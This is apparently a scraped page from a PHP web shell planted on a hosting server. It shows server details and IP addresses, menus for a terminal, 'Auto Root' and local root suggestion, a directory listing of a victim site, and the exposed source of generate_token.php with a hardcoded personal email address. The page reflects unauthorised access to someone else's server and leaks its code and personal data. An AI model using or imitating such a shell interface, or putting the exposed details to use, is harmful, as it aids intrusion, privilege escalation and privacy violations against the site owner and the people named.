Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.150
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
card /
Delete
Unzip
Name
Size
Permission
Date
Action
Roboto
[ DIR ]
drwxr-xr-x
2025-09-13 04:49
fetch_data_for_file.php
605
B
-rw-r--r--
2024-11-15 19:11
generate_token.php
1.12
KB
-rw-r--r--
2024-11-06 08:08
htaccess.txt
120
B
-rw-r--r--
2025-08-21 08:56
list_of_nid_order.php
799
B
-rw-r--r--
2024-11-15 19:29
login.php
1.59
KB
-rw-r--r--
2025-08-19 10:46
Save
Rename
<?php session_start(); if (isset($_SESSION["user_id"])){ // Include the database connection include('../includes/configuration.php'); // Check if the email parameter is set if (isset($_GET['token'])) { $email = "ahmedniloy@gmail.com"; // Generate a new token (you can change this to any method of token generation) $newToken = bin2hex(random_bytes(5)); // Generates a 32-character token // Update the user's token in the database $sql = "UPDATE admin_user SET reg_token = ? WHERE email = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $newToken, $email); // "ss" for two strings if ($stmt->execute()) { // Success - redirect to the edit page with the email parameter header("Location: ../createLink.php?msg=success&text=New link generate successfully"); exit; } else { // Handle error header("Location: ../index.php"); } // Close the statement and connection $stmt->close(); $conn->close(); } else { // Handle the case where the email is not provided echo "Email not provided."; } } else { header("Location: ../index.php"); } ?>